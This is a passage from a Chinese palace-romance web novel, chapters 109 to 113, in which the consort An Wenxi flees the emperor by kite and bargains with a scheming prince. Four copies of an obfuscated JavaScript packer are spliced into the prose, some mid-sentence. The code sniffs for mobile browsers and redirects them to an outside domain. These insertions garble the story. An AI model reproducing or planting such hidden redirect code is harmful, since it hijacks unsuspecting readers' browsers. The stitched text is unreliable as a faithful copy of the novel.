身侧的人没有说话,耳边有温热的气息喷薄在她的耳翼,有些痒痒的,安文夕顿了顿又补充道:“就像以前那样。” “嗯。”北宫喆轻轻发出了一个音节。 “元宵节,你带我去看花灯好么?” 北宫喆闻言,脸色倏地一变,冷道:“你想趁着人多逃走?有朕在,你就**这条心吧!” 安文夕嘴角勾了勾,一时静默无言。 片刻,那厢传开男人低沉的嗓音道:“你若是嫌这里太闷,朕可以陪你去看花灯。” 过了一瞬,他再次道:“别想在朕眼皮子底下耍什么花样。” 安文夕冷嗤道:“我在你面前还能耍花样么?”都已经成为他的阶下囚了,她还能如何? “你知道便好。”这一声冷意渐淡。 安文夕抿了抿嘴角,眼中一片清明。 “北宫喆,你放开我,太紧了,我有些喘不过来气。”她挣扎不脱,只得软下了语气,靠的太近,他的气息令她有些不自在。 她一直都像一只长满尖刺的刺猬一般,一时收了爪牙,令北宫喆一愣,微微松了些力道,然而他的手却慢慢的抚上安文夕的后背,一下下轻抚,细密温柔,安文夕霍然睁开了双眸,立即按住了他的手。 不料他的令一只手更是大胆的伸进她的里衣,朝她的胸前探去。 安文夕一惊,差点从床上惊起,一只有力的臂膀拦住了她,一道略微有些嘶哑的嗓音道:“朕不再碰你便是,安心睡吧。” 她的腰上搭着一只大手一动不动,十分规矩,安文夕松了口气,心中蓦然涌出一阵温暖。 北宫喆微叹一声,还是她卸去一身尖刺的时候最可爱。 第二日安文夕醒来的时候,身边的人早已离去,枕边留着他身上淡淡的味道。 “娘娘,您醒了。”红绫见她醒来,立即端来了搭着毛巾的铜盆伺候她起床。 安文夕慢条斯理的穿好了衣服,洗漱完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16371343|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕,用了晚膳。 “娘娘,今天是大年初一,山庄里本没有多少人,因着娘娘在这里,钟叔和小和子、小顺子做了些吃食,想献给娘娘,也算是给娘娘拜了年。” 安文夕靠在美人靠上,心中一动。这山庄的确冷清,一点年味也没有。 “我自己倒也冷淡的慌,上午的时候让他们一起用膳吧。” 午膳时分,钟叔带着两个模样俊朗的小太监进了上房,平时安文夕所有事宜都由红绫打理,她对这两个小太监只在散步时见过几个侧面,印象不深。 “奴才给瑾淑妃娘娘请安。” “起来吧,都不必拘礼。” “娘娘,这是皇上快马加鞭为您送来的礼物。”管钟令小和子和小顺子将身后的东西抱进了室内。 看到那些花花绿绿的图案,安文夕嘴角一抽,这是北宫喆送她的风筝? 她走过去视线一一掠过,有大有小,有长串、有桶式、有硬翅、还有软翅,凡是市面上可以买的到的,皆被他搜罗了来,安文夕的心蓦地一涩。 他一直想着讨她欢心,而她却筹谋着如何逃离…… 钟叔看了眼她的神情道:“皇上说娘娘闷了,先放放风筝打发打发时间,过几日他就来接娘娘出去看花灯。” 安文夕点点头道:“有劳钟叔了。” 管钟摆了摆手道:“将吃食为瑾妃娘娘呈上来。” 凤尾鱼翅、宫保野兔、八宝野鸡…… 这一餐倒是丰盛,安文夕淡扫了眼对钟叔道:“左右没有外人,你们都一同坐下吧。” “奴才不敢。”小和子和小顺子皆垂下了头。 “在我这里不需要这么多的规矩。”安文夕悠然落座。 “瑾淑妃让你们坐下,你们坐下便是。”管钟率先一撩衣袍,坐下了安文夕下手,红绫也挨着安文夕坐了下来。 那两个小太监见管钟和红绫如此,虽然胆怯,但还是一一落了坐,只是神情有些不自然。 经过这件事后,安文夕和管钟以及小和子和小顺子的关系亲近了许多,平时但凡安文夕有什么吩咐,他们皆尽心尽力,让她满意。 过了大年初一之后,接下来几日,天气渐渐放晴,地上的积雪也慢慢消融,安文夕便央红绫拿了北宫喆送来的风筝去了东院。 东院安置了一排厢房,厢房和梅林之间一片很大的空地,正好可以来放风筝。 每次安文夕放完风筝出了东院,经过竹林,总是有意无意的在此徘徊片刻,眸光深深,望向竹林,仿佛想窥探什么一般。 经过几次之后,守卫在此处的羽卫不动声色的多了起来,安文夕再次经过之时,便再也不敢逗留。 “红绫,将我的风筝拿来。” “娘娘,还要去东院么?” “不了,今天去西院。”安文夕起了身,换上了较为轻快地衣服。 “好,奴婢这就去拿风筝。”红绫没有异议,只是有些奇怪春天还没有到,娘娘怎么如此热衷放风筝,竟然每天都要去跑一圈。 每次娘娘穿的衣服都很单薄,她怕长此以往,娘娘不小心染了风寒,皇上怪罪下来,就糟了! 第110章 声东击西 第一百一十章声东击西 安文夕一连三日皆在西院放风筝,有时甚至看着天空中的风筝怔怔发呆,一开始红绫还心存疑问,时间一长便习惯了她如此。 如今已经是初十了,她已经在这青末山庄待了半月有余,每天吃了睡睡了吃的生活几乎将她闷得浑身发霉。 更重要的是,这里尽在北宫喆的掌控之内,她根本无法跟外界取得联系,至今为止,她已经足足有一个月没有和晟哥哥联络了。 无论如何,她都必须赶在元宵节之前离开! “红绫。” “娘娘今日是要去东院还是去西院?”红绫见她换好了衣服,于是将她的风筝拿来。 “西院。” 安文夕扫了眼红绫手里的风筝道:“太小了,你去换只大的来。” “是,娘娘。” 过了片刻,安文夕看着红绫手中足有一人高的风筝,满意的点点头,她双手攥了攥掩在红衣里面那身颜色和风筝颜色快要融为一体的衣服,不动声色的勾了勾唇。 今天她特意在里面多穿了件衣服。 “娘娘,我们走吧。”红绫收了手中的风筝。 到了西院,安文夕并没有像以前那样开始放风筝,而是上了观景楼,在上面驻足许久才缓缓下了楼。 隐在这处的羽卫还不少,得想办法将他们引开才是。 放了一会风筝,安文夕有些倦怠的坐了下来,将风筝的线交给了红绫。 红绫见她精神有些不济,以为她是累了,便道:“娘娘,您若是累了,不如我们回去吧。” “我不累,你先在这里等我,我回上房一趟。”安文夕起身时打量了眼空中的风筝。 “是,娘娘。”红绫不疑有他,慢慢放线,专心的擎着手中的风筝。 安文夕回到了上房,然后掠到东院,沿着小径进入竹林,刚踏入竹林入口处,蓦地从上方跃下两个墨衣羽卫,上前拦住了她。 “瑾淑妃娘娘,这里不是你该来的地方,请回吧。” 安文夕勾唇道:“我来这里想要寻一样东西。” “这竹林阴气过重,只怕没有娘娘要找的东西,更何况,若是娘娘遇到什么不测,我等无法向皇上交代。” “我不过去去就来罢了。”安文夕身形一闪,转瞬消失在了他们面前。 只余下两个羽卫相互对视了一眼,皇上特地交代,千万不要让瑾淑妃靠近竹林,难道瑾淑妃发现了什么?前几日瑾淑妃借着放风筝的由头,在此徘徊。之后,瑾淑妃去了西院放风筝,让他们稍稍放下了心,难不成这是声东击西? “追,你去调人过来。”墨衣羽卫说完,身影立即消失不见。 “你多加小心,这竹林的阵法只有皇上一人能破。”另一个人嘱咐了一句。 安文夕早就知道竹林中有机关阵法,不敢大意,她此行的目的不是硬闯竹林,而是打草惊蛇。 她飞快的在竹林中穿梭着,躲避着羽卫的追击,然而在他们看不见她时,她则会显露出自己的衣角,慢慢的将他们引至竹林。 安文夕好似在和羽卫捉迷藏一般,一直躲躲藏藏,觉得被她引到竹林的羽卫差不多时,飞快的绕着竹林想从一侧返回上房。 前方的几株竹子好像有些不同寻常,特别容易干扰人的视觉,明明是稀疏的竹子,却给人一种郁郁葱,看不见尽头的感觉,想必此处便要入阵了吧。 尽管想进去一探究竟,可是她知道自己现在时间宝贵,根本耽误不起。 安文夕眸色一凛,看了眼竹林深处,握了握拳,在入阵处擦身而过。 若是当时她踏进了阵法之中,结局会不会有所不同,多年后她常常问自己,也许会少些颠沛流离与彼此折磨。 安文夕虚晃一招,利用竹林隐了身形,在羽卫看来,分明是闪身进去了竹林深处。 他们眼中皆掠过凌色,就在他们犹豫要不要进去的时候,一身形高大的男子突然说道:“此事只怕有蹊跷,先派人通知皇上!” 一旦进了竹林,他们只怕是再也无法出来,因此,所有的羽卫皆不敢轻举妄动,只能在竹林阵法的入阵处四下守着。 安文夕双眸骤缩,满意的勾了勾唇,从竹林中闪身出来,匆匆掠过上房,褪去身上的红衣,以迅雷不及掩耳之势上了观景楼。 安文夕看着飞在空中,离自己不远的风筝,然后俯瞰了眼下方擎着风筝的红绫,眸中迸出凛色。 红绫,对不起了! 安文夕右手一翻,一片薄如蝉翼的刀片带着凌冽的力道飞快的削断红绫手中的风筝细线。 “啊,风筝的线怎么突然断了?”红绫欲伸手去抓,不料断了线的风筝却越升越高,她根本就来不及抓住。 “这可怎么办?”一向沉稳的红绫脸上出现了惊慌。 “砰——” 就在这时,一声细微的声音在她身后响起,红绫蓦然回头。 而一直隐在观景楼的安文夕伺机而动,掷出手中细不可见的铁丝迅速攀到观景楼周遭的大树上,然后蓦地贴在风筝下面,依此为护,不断的往山庄外面攀爬。 借助风筝逃跑,她也算是开天辟地头一回了。 待红绫回过神来,刚才断了线的风筝早已经脱离了她的视线,她的眼中有抹焦急,她想,娘娘平时是个好说话的人,她弄丢了她的风筝,娘娘应该是不会为难她的吧。 守在竹林中的羽卫迟迟不见安文夕的人影,心暗暗沉了下来,似乎察觉了什么,便从竹林的羽卫中抽出了一部分到山庄各院巡查。 红绫看见墨衣高大的男子赫然出现在了她的眼前,她先是一惊,随即问道:“这位大人,您有什么事么?” “你是瑾淑妃的贴身侍女,你可有见到瑾淑妃?” “娘娘不见了?”红绫惊道。 那人微微点了点头,“她在和你一起放风筝?”他若有所思的看了眼地上的绕线匝。 “娘娘刚才还在和奴婢一起,后来她说要回上房一趟,一直到现在还迟迟没有回来。” 那人脸色顿时一变,心中暗呼不好,只怕他们全部着了瑾淑妃的道了。 “大人,怎么了?娘娘她……”红绫看着他突变的脸色,心中隐隐闪过一抹不安来。 “你放的风筝呢?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16371344|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“回大人,刚才风筝的线突然断了,然后风筝就……” 那人不待红绫说完,便纵身越至树杈上,然后不断的跳跃。 “哎,娘娘怎么了,您还没有告诉我?”红绫急急追了两步。 刚才那人一直追出了山庄,走了不远,看到地上的风筝,悬着的心一下子沉到了谷底。他们一直警惕了这么多日,到底还是让她逃走了! 他向空中发了一颗信号弹,招来山庄的羽卫,沉声道:“瑾淑妃不见了,你们立即去追,我速速去禀告皇上!” 众人看着他手中拖着的风筝,心中顿时明了。 他们皆以为瑾淑妃要利用风筝向外界传递消息,不料她竟是利用它逃跑,这么隐蔽而奇怪的心思,真是让他们防不胜防。 从瑾淑妃一开始放风筝,到竹林的窥探,再到今日私闯竹林,都是为了今日的出逃而步步为营吧。 这的确是声东击西,不过她的目的不在竹林罢了! 如此聪慧的女子,令他们除了惊叹便只剩下惊艳了。 一位羽卫快马加鞭匆匆赶去夏宫,径直奔向凌波殿,看到伏案执笔的男子,压力骤增,他双膝跪地道:“启禀皇上,属下无能,让瑾淑妃进了竹林,到现在还没有出来。” “咔嚓——” 北宫喆手中的朱笔应声而断,他倏地仍到一旁,锐利的黑瞳缓缓抬起。 “怎么回事?” “瑾淑妃今日突然进了竹林,白羽亲眼看见她进了阵法,且迟迟没有动静。” 那她现在要么被困在了阵法之中,身受重伤,要么已经破了阵法,进入了北院! “混账!”北宫喆眼底泛着怒气,他养这些羽卫都是死的么,连一个弱女子也看不住! “属下该死,皇上息怒。”那人伏在地上,大气也不敢出。 这时,琼华殿外再次响起了一阵脚步声,刚才那位身形高大的男子立即行礼道:“属下白羽叩见皇上。” “瑾淑妃并没有进竹林,而是利用风筝逃跑了!” 北宫喆闻言,眼底一片清明,那日她跟他说想放风筝他就该猜到今天的情景,可是他可是决定要赌一赌,最终,他输得一无所有。 他慢慢跌坐回龙椅,慢慢闭上了眼睛,感觉到心前所未有的疲惫。 “你们退下吧,不必再追,将青末山庄的羽卫统统撤掉。” 二人脸上闪过惊诧,这不像是皇上一贯的作风,不管怎样,他以前必定会去看一眼的,而如今怎么表现得如此平淡? “属下告退。”二人心中掀起波澜,而脚下的动作却丝毫不敢迟疑。 北宫喆起身走进了内殿,看着殿内摆满的莲花灯,唇角逸出一抹苦涩的笑。 “皇上,你看看奴才摆放的如何?”张海忙道。 北宫喆淡淡扫了一眼道:“都拿去扔了吧。” 扔了? 张海心中闪过巨大的惊骇,这皇上好端端的怎么脸色有些不对啊? 这些天来,皇上每天都要抽空亲手做莲花灯,专注而认真,嘴角都挂着淡淡的笑意,那温柔的神情他只在皇上曾经看瑾淑妃的时候见到过。 第111章 千抬为聘 第一百一十一章千抬为聘 那一日皇上突然宣布夏宫再无瑾淑妃,众人都说瑾淑妃被皇上赐死,他张海自然是不信的,他这几日一直暗暗猜测,皇上此番行为怕是为了瑾淑妃。 可是,今日为何要将他辛辛苦苦做出来的莲花灯扔掉呢? 北宫喆见张海迟疑,再次沉声道:“朕说了扔掉!” 他留住她的人,也留不住她的心。 如果可以,他真想看看她的心究竟是什么做的,为何他做了这么多,她却丝毫不为所动。 “青玄。” “属下在。” 北宫喆敛尽眸色,“你去守在凤青轩。” 青玄脸上划过惊讶,然后抱拳应是。 “招风明、易寒进宫。”北宫喆蹙了蹙眉。 看着逐渐消失在视线内的青末山庄,安文夕舒了口气,此时的她如一匹脱缰的野马,心情愉悦极了。 他以为那些羽卫就能困住她了么? 他千方百计的想将她囚在身边,而她偏偏要让他失望。 早在来时,安文夕就暗暗拆散了自己身上一直带着的珍珠手链,每走不远就将一粒珍珠散落在不起眼的地方,就是为了今日可以顺利逃脱。 可是现在她怎么也找不到了,而这里并无人烟,唯一的解释就是北宫喆发现了,早就将珠子收了起来。 既然这样的话,为何这么久了却迟迟不见羽卫追来? 安文夕不敢懈怠,认准了一个方向,拼命的往前赶,两个时辰过后,总算是走出了一望无际的树林。 安文夕放慢了脚步,这才后知后觉有些冷了,她为了逃跑顺利,特地穿了轻便的衣服,刚才一直奔走不觉得,猛然停下来,才发觉深山中冷沁的山风格外的刺骨。 来的时候坐着马车还花费了整整好几个时辰,如今徒步而行两个时辰,依然身在山中,看着前方那座高山,也许翻过这座山就可以看到城镇了。 可是仅凭她两个腿走的话,不知道要走到什么时候。 她抿了抿唇,走了不久,听到一阵细微而又悠长的马蹄声,安文夕神情一动。 过了不久,一老者摇着牛车缓缓出现在了安文夕的视线内,她心中一喜,立即迎了上去道:“老伯,能不能带我一段路?” “只要姑娘不嫌弃老头子牛车脏,就上来吧。”老者笑呵呵道。 “只要老伯能带我一程,我已经感激不尽了,怎么会嫌弃。” 牛车上面码了整整一车的薪柴,为了给安文夕腾出来坐的地方,老伯将树枝往后挪了挪,看着她衣服光鲜的样子,又用衣袖擦了擦身侧的地方,这才让安文夕落座。 安文夕看着心中一暖,“谢谢老伯。” 老伯再次驾起了牛车,和安文夕有一搭没一搭的说着话道:“姑娘,老头子瞧着你像是大户人家的小姐,怎么会在这深山里?” “不瞒老伯,因为家里人非逼着我嫁给一纨绔恶霸,小女子无奈之下,只好选择逃婚,不料在郊外遇到了土匪,慌不择路就到了这里,然后怎么也走不出去了……”安文夕说着挽了黛眉。 她不想故意骗人,但是又怎么能说她是刚从北宫喆魔爪底下逃脱的呢。 安文夕在这深山里狂奔了两个小时,发髻微乱,衣服上沾了灰尘,这个样子倒令人信了几分。 老伯听着她的话,微叹一声,“这深山里鲜有人来,且山高林密,一般到了这里的人多数会迷路。” “既然这山容易迷路,为何老伯却要到这里砍柴呢?” “小老儿最远便是到这里,再往深处也不曾去过,更何况,这里的柴好,能卖个好价钱。” “今日才不过是初十,老伯怎么就出来砍柴了?”他不是应该待在家中举家齐乐、安享天伦么。 “姑娘,你有所不知,大夏新帝登基以来,放松了对商贾的控制,而且大年初一那日皇上立后,举国欢庆,从第二日起瓦舍就开始营业,小老儿砍了柴去卖,希望能贴补家用……” 立后? 安文夕听到这个字眼嘴边一直挂着的淡笑顿时凝结在了嘴角,接下来老伯的话她一句也没有听下去。 “他立了谁为后?” “姑娘是想问新立的皇后么?”老伯没有注意到她神情有异,继续道:“我听人说好像是太后娘娘为皇上立了江家小姐为后,龙心大悦,千抬为聘大赦天下,举国上下欢腾一片。” “初二那日皇上就将一千抬聘礼全部送到了左相府,车马络绎不绝,据说足足运了一日,那盛大的场面,可惜小老儿没有机会看到……” 千抬为聘…… “夕儿,待我再次归来,便千金为聘。”那个人清润的嗓音再次在她脑海中响起,这一句誓言早就随着国丨殇破灭了,安文夕微微攥了攥衣角。 呵…… 他终于还是立了她为后,青梅竹马,这情谊果然是他人难比,安文夕讥讽的勾了勾唇。 安文夕听着老伯的话,心口钝钝的疼,闷得难受,她明明一遍遍的告诉自己已经不爱了,为什么听到他立江向晚为后心中会这么烦躁? 她一直不想去面对自己对他的感情,每每都用恨意去麻痹自己,终究不过是自欺欺人,原来她一直都没有放下她的九哥哥。 恨之深,爱之切,这个道理她比谁都懂不是么。 安文夕咬着唇,恨自己无能,不能去控制自己的感情。 怪不得他那日走得那么早,原来竟是为了这个。既然他要立后,为何还要来找她? “姑娘……” “姑娘,姑娘……” “老伯,你叫我?”安文夕蓦然回神。 “我见姑娘一直在走神……” 安文夕扯了扯嘴角,“我在想老伯说的那盛大的场面……” 老伯微叹了口气,“那可不是我这泥腿子可以想的出来的。” “驾、驾——”老伯扬起了牛鞭。 “姑娘,你想去哪?” “老伯将我带到这附近的城镇便可。” 一路颠簸,终于在迫近日暮之时赶到了毗邻承安的小城丹城,安文夕从怀中取出十两银子强塞给老伯做谢礼,然后自己找了家客栈住了下来。 第二日,安文夕展开安景晟的信,蹙了蹙眉头,耳边似乎又响起了那个人自负狂妄的话:本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16377229|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王相信凤公子迟早回来找本王的。 手中紧握着书信,晟哥哥竟然要让她去找六王爷慕容清合作。 那可是一头蠢蠢欲动的狼! 安文夕收拾一番,戴上**,将墨发束至发顶,身着男子衣服出了客栈,前往承安。 红灯高悬,张灯结彩,人潮如流,年关的承安比平常更添几分繁华。 安文夕坐在马车内,撩开车帘,看向车外的景致,一大早的承安便已经人声鼎沸了。不少小孩子手中拿着炮竹,充满童趣。一些酒楼前面更是车马如云,许多达官贵人拜亲访友,宴请亲朋好不热闹。 远离了闹市,周围寂静了不少,安文夕缓缓放下车帘。 “驭——”马车骤停,安文夕蓦地一个趔趄。 “公子,前方有一辆马车拦住了去路。”赶车的男子对她说道。 安文夕略略皱眉,“将马车靠在路边,让他先行。” “公子,那人让我们先行。”赶车男子对着车内道。 “既然如此,我们先行便是。”安文夕应了一声,素手掀开车帘,却不料正和对面掀着车帘的男子对个正着。 竟然是他! 眼前这个放肆张扬的男人不正是慕容清么,没想到他现在竟然如此正大光明的活动在承安。 显然那人看到她也是一脸惊讶,嘴角含笑道:“没想到在这里会遇到凤公子,真巧。” “的确巧。”安文夕说了一声,刚欲放下车帘,只听那人又道,“既然遇上了便是有缘,不知凤公子可否赏脸去陌上花开茶肆坐一坐?” 本欲拒绝,想起晟哥哥那封信,她淡道:“好,就依六王爷。” 二人同上了茶肆二楼,慕容清看着面前冒着热气的茶水,指尖轻轻的摩挲着杯沿,神情闲适又悠远。 “本王想着像凤公子这样的妙人应该是喜欢品茶抚琴的,凤公子的琴艺一绝,不知在茶艺上有研究?” 怎么他一开口,安文夕就觉得他话里有话。 “研究谈不上,不过是平时喜欢饮上两口罢了。” “凤公子过谦了,你尝尝这茶如何,是否合你胃口?” 安文夕浅浅啜了两口,这茶清醇中透着淡雅的香,虽比不上她平时喝的,但在宫外茶肆中算是顶好的了。 “还不错。” 慕容清饮尽杯中茶,说道:“味道不错,但还是淡了些,比不得宫中的贡茶。”说着摇了摇头。 呵……宫中的贡茶,他这是在暗示她,只有做了皇上才能拥有最好的东西,享受到这世间的尊贵么。 果然露出了狐狸尾巴,安文夕又啜了一口茶,垂下眼睑,掩去了眼底的深意。 “以前父皇经常将宫里的贡茶赏赐本王,不想本王这嘴都给养刁了,一时喝不惯这些个茶。” “六王爷若是有话不妨直说。” 慕容清颇为赞扬的看了她一眼,聪慧的人向来不必多费口舌。 “上次的事情,凤公子考虑的如何了?”慕容清慢慢靠近,“自立为王,共同灭夏,一分为二!” 这样大逆不道的言论也只有他慕容清敢说的如此明目张胆。 第112章 自负聪明 第一百一十二章自负聪明 这时,慕容清突然意味深长的笑了笑,“晟世子已经同意和本王结盟了。” 安文夕蓦地一滞,晟哥哥已经和慕容清谈好了么,为何来信上没有说这一点。 “凤公子可要想好了,本王的时间可不多。” “晟哥哥的态度就是我的态度。” 慕容清微微一愣,“难不成凤公子想将江山拱手让给安景晟,真看不出你们兄弟二人的关系如此之好。” 呵……他在试探她! 安文夕赫然抬眸,勾唇,“这个就不劳六王爷操心了。” “呵……以前常听说安国君想将安国江山传于安景晟,不曾想这竟是真的。”慕容清眼底有抹悠远的思绪。 “只是,这对凤公子而言未免有些可惜罢了。”毕竟他才是安国君的亲血骨肉。 这个人果然不是什么善类,既然已经同盟,他竟然还挑拨她和晟哥哥的关系,可是若是他知道她就是安文夕的话,只怕他就不这么说了。 安文夕不以为意的笑了笑,“我从小就不喜权势,而晟哥哥正好有经天纬地之才。” “也是,挟势弄权只会玷污了凤公子的这一身清傲。”慕容清笑道,只是这笑看不出有几分真意。 他透过二楼的窗子看向下面,大堂内的人正在议论着北宫喆千抬为聘江家女的事情,短短十日的时间,可谓是大夏百姓无人不知无人不晓。 慕容清看着安文夕嘴角凉淡的讥笑,“看来这江佑城已经和曹太后勾结在一起了。”他毫不避讳说道。 “不知道到时候那江向晚是偏向北宫喆还是偏向她爹和曹太后。” “自然是北宫喆。”安文夕直截了当道,同为女人她清楚江向晚对北宫喆的感情,自然可以猜得到她的选择。 “这江向晚倒是用情至深,只可惜北宫喆的那颗心根本就不在她身上而是在——”说到此处,慕容清蓦地一停,看着安文夕的双眸,缓缓道,“在凤公子的妹妹安文夕身上。” “是么?” “这夏宫上下皆传瑾淑妃被赐死,实际上北宫喆将她囚在了宫中,别人不可见罢了。” “难道凤公子不想将她救出来?” “既然是北宫喆将她囚在宫中,必是布下了天罗地网,如何能救?”知道**她的**,安文夕乐得糊涂,顺着他的话说道。 “本王有办法,不知凤公子可否一试?” “六王爷请说。”她本人就在他的面前,她就不相信他还能说出花来。 “十五,元宵花灯节。到时天城湖上泛舟观花灯,必是热闹非常,那位自然也会出宫,彼时凤公子在天城湖上抚琴即可,令妹的事情就交给本王。” 安文夕的脑袋飞快的转了起来,看着慕容清一副老谋深算的样子,心中不禁冷笑,这慕容清要拿她做抢使呢。 那么,他让她牵制住北宫喆,那他去夏宫不单单是为了救人吧,难道是……安文夕脑中飞快的闪过一抹震惊。 这还没过河呢,他就急不可待的想拆桥了么? 安文夕在心底不禁冷笑,这六王爷自负聪明一世,可也比把别人都当做傻子! “好,就依六王爷,希望六王爷不要让我失望。”安文夕嘴角噙着一抹令人难以捉摸的笑意。 “自然,我们是盟友,一荣俱荣,一损俱损,本王定会让凤公子满意。” 安文夕浅啜了口茶道:“时间不早了,我就不打扰六王爷了。” “凤公子请。” 慕容清看着安文夕的背影,眸光顿时深沉起来,对身侧使了个眼神,他再次看向面前的蒙顶茶,丝毫没有喝的欲望,冷淡道:“这茶果然涩的厉害,不喝也罢。” 秋月眼神轻蔑的扫了眼桌上正冒着热气的茶,说道:“这些个茶别说入不了王爷的口,就连奴婢都觉得寒碜。” 过了片刻,房门口传来一阵声响,慕容清霍然抬头,看见安文夕手中死死地钳制着他刚刚派出去的暗卫,她满脸的讥讽,冷冷对他道:“六王爷若是这样的话,未免让人心寒。” 慕容清不动声色的瞧了眼安文夕,他的暗卫功夫一等,常人难比,没想到竟然被他发现了。 上一次是跟丢,这一次竟然亲自送到了他的面前,看来这凤公子也不像是他表面那样孱弱儒雅。 “我想凤公子一定是误会了,本王是让他暗中保护凤公子,也算是尽尽本王的诚意。” 安文夕冷哼:“不必了,六王爷的美意心领了。”她往前一推,将手中的暗卫扔在地上,然后转身离去。 “这凤公子竟然如此狂妄。”秋月不满道。 慕容清眸光渐冷,扫了眼地上的人呢,斥道:“饭桶,还不滚下去!” “王爷,他被点穴了。”秋月察看了一眼,然后道,“点穴手法奇特,属下解不了。” 慕容清脸色又冷了几分,眸光深远,“哼,就让他们先斗个你死我活,本王只需纵观大局,坐收渔翁之利便可。” “王爷说的极是,不管他们怎么斗,这线都在您手里呢,只要您一收线,他们再怎么能耐,也扑腾不下去了。” 安文夕隐在暗处,听着里面主仆二人的对话,嘴角的讥意扩大。 这慕容清想让他们和北宫喆相争,而他却想坐享其成。鹬蚌相争,渔翁得利,他怎知,她就不是那渔翁呢? 安文夕身形一闪,转瞬消失在繁华的承安大街。 慕容清听着秋月的话点点头。 地上的那暗卫有些不解问道:“不如直接将宫里那位给……这样岂不是更能挑起北宫喆和凤公子的矛盾。” “宫中自然没有安文夕,不然凤公子岂会比你我还不上心?” “可是也不尽然,依属下看,安国君独宠十公主,而凤公子一直都没有得到认可,不然安国君也不会有将皇位传于安景晟的打算,只怕凤公子和十公主关系并不亲和。” 慕容清沉声道:“你说的有道理,也许凤公子巴不得那安文夕**呢,这件事按原计划进行。” 安文夕并没有去凤青轩,而是拐了两个弯儿去了潇湘馆,负手立在窗前,像是在等待着什么。 “扣扣扣——”突然传来三声敲门声,安文夕蓦地转过身来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16377230|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只见来人径直推来了门,正是将近一月未见的欢凉和袭匀,二人皆做男人装扮。 袭匀关上门,欢凉立即扑了过来,一把抱住安文夕,眼眶有些湿润,“公主,你可回来了,欢凉都想死你了。” “好了好了,你抱那么紧,她都快被你勒**。”袭匀提醒道。 欢凉刚放开安文夕,袭匀立即凑了上来,张开双臂,“小师妹,你不介意我也来抱一下吧,师兄想死你了。” 安文夕微微避开了下,“我介意。” “切,小气。”袭匀不以为意的收了手,径自坐了下来。 安文夕不去管他,看向欢凉道:“你的伤如何了?” “有月公子在,这点小伤早就好了。” “有月公子在……”袭匀学着欢凉的语气,酸酸的撇了撇嘴。 “公主,这些天你都去哪了,你也不和我们联络,我和袭匀怎么也找不到你,大家都快急**。” “不是说和玉公子回西楚么,我和欢凉几乎都快赶到西楚了,才收到玉公子的通知说你根本就没去,我们又匆匆赶回了承安。”袭匀有些愤愤道。 “公主,是不是北宫喆他……” 安文夕点点头,“我被北宫喆带走,一直囚在青末山庄。”的确是“囚”在那里的。 “那青末山庄处在山林深处,十分难寻,而且他又在青末山庄派了大量的羽卫,我的一举一动皆在监视之中,根本没办法和你们联系。” “啧啧,想不到那北宫喆竟然如此痴情,为了你关住你,竟然不惜出动了羽卫,还把你藏在深山老林里,若你不出来,我们这一辈子都不一定能找的到你。”袭匀叹道。 耳边突然响起那日他温柔又霸道的话:他想将她囚禁一辈子!安文夕睫毛轻颤了颤。 “那个**痴情个屁,他就是想永远的囚禁着公主!”欢凉听了袭匀的话气的跳脚。 “哎哎哎,你说脏话。” “老娘就是说脏话了,怎样?” …… “好了好了,叫你们来不是让你们来吵架的。”安文夕捏了捏眉心,不耐的打断二人。 “晟哥哥来信上要和六王爷慕容清结盟,可是我觉得他野心太大,不是我们所能掌控的,只怕到时候反被他当做垫脚石。” 袭匀沉声道:“小师妹说的对,我也不赞成和慕容清那只狡猾的狐狸同盟。” “欢凉你给晟哥哥传信说明此事,希望晟哥哥多加考虑。” “是,公主。” “小师妹,你不觉得晟世子有时候太过急功近利了么,竟然会看上慕容清那种野心勃勃的人。” 安文夕垂了眼睑,没有接话,半晌道:“目前我已经答应了慕容清,十五元宵节动手。” “什么?” “他现在不识我身份,为表结盟诚意,他答应去宫里将安文夕救出来。” “噗——”袭匀嘴里的一口茶全部被喷了出来,这真是太搞笑了,这小师妹明明就在眼前,要去宫里救什么人? “我猜测慕容清进宫只怕是想要图谋传国玉玺!”安文夕眸光深深。 第113章 断袖癖好 